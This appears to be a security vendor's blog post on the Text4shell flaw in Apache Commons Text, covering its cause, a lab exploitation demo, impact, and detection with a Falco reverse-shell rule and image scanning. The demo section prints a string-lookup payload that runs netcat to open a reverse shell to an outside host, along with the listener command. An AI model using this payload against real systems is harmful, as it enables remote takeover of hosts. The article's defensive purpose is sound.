Detecting and mitigating CVE-2022-42889 a.k.a. Text4shell

A new critical vulnerability CVE-2022-42889 a.k.a Text4shell, similar to the old Spring4shell and log4shell, was originally reported by Alvaro Muñoz on the very popular Apache Commons Text library.

The vulnerability is rated as a critical 9.8 severity and it is always a remote code execution (RCE) which would permit attackers to execute arbitrary code on the machine and compromise the entire host.

The affected Apache Commons Text versions 1.5 through 1.9 and it has been patched in version 1.10.

Preliminary

Apache Commons Text is a Java library described as “a library focused on algorithms working on strings”. we can see it as a general-purpose text manipulation toolkit.

Even if you are familiar with coding you may have run into Commons Text as a dependency in your code or it might be used by an application you are currently running in your laptop or production environment.

The CVE-2022-42889 issue

The vulnerability affects the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to Remote Code Execution. This is due to a logic flaw that makes the “script”, “dns” and “url” lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups.

In order to exploit the vulnerabilities, the following requirements must be met:

• Run a version of Apache Commons Text from version 1.5 to 1.9
• Use the StringSubstitutor interpolator

It is important to specify that the StringSubstitutor interpolator is not as widely used as the string substitution in Log4j, which led to Log4Shell.

How to exploit CVE-2022-42889

To reproduce the attack, the vulnerable component was deployed in a Docker container, accessible from an EC2 instance, which would be controlled by the attacker. Using the netcat (nc) command, we can open a reverse shell connection with the vulnerable application.

The vulnerable web application exposes a search API in which the query gets interpolated via the StringSubstitutor of Commons Text:

http://web.app/text4shell/attack?search=<query>

The following payload could be used to exploit the vulnerability and open a reverse shell:

${script:javascript:java.lang.Runtime.getRuntime.exec()'nc 192.168.49.1 9090 -e /bin/sh')}

This payload is composed of “${prefix:name}”, which triggers the String Lookup. As mentioned above, “script”, “dns” and “url” are the keys that can be used as the prefix to exploit the vulnerability.

Before sending the crafted request, we need to set up the reverse shell connection using the netcat (nc) command to listen on port 9090.

nc -nlvp 9090

We can now send the crafted request, URL encoding the payload, as shown below.

We can see that the attacker successfully opened a connection with the vulnerable application.

Now the attacker can interact with the vulnerable machine as root and execute arbitrary code.

The impact of CVE-2022-42889

According to the CVSSv3 system, it scores 9.8 as CRITICAL severity.
The severity is Critical due to the easy exploitability and the huge potential impacts in terms of confidentiality, integrity and availability. As we showed in the previous section with a crafted request you can take full control over the vulnerable system.
However, it isn’t likely the vulnerabilities will have the same impacts as the previous log4shell and spring4shell.
Looking at the vulnerable component, the likelihood of the exploitation is related to the use of the Apache Commons Text library. Specifically, it is possible to exploit it only if it implements the StringSubstitutor object with some user-controlled input. This implementation in production environments is not as common as the vulnerable string substitution in Log4j. Therefore, the large-scale impact of Text4Shell is not really comparable to Log4Shell.

Detecting and Mitigating CVE-2022-42889

If you’re impacted by CVE-2022-42889, you should update the application to version 1.10.

As we have seen for the previous CVE-2022-22963, we can detect this vulnerability at three different phases of the application lifecycle:

• Build process: With an image scanner.
• Deployment process: Thanks to an image scanner on the admission controller.
• Runtime detection phase using a runtime detection engine: Detect post explotation behaviors in already deployed hosts or pods with Falco.

Once the attacker has total control, depending on the actions he performs, we will detect him with one or another Falco rule. In the case that the attacker uses a reverse shell, here we would have an example of a rule that would detect it. To avoid false positives, you can add exceptions in the condition to better adapt to your environment.

- rule: Reverse shell
  desc: Detect reverse shell established remote connection
  condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6")
  output: >
    Reverse shell connection (user=%user.name %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip)
  priority: WARNING
  tags: [container, shell, mitre_execution]
  append: false

Using Sysdig image scanner, it’s possible to detect the vulnerable package

Conclusion

Even though the CVE-2022-42889 is exploitable under specific conditions which makes the vulnerability not as popular as the others seen during this year, it’s still important to take immediate actions.

To be safe, patch with the latest version to mitigate vulnerabilities and use scanners to find out if you are affected and. It’s also important to take the necessary measures to mitigate the vulnerability and never stop monitoring your infrastructure or applications at runtime.

---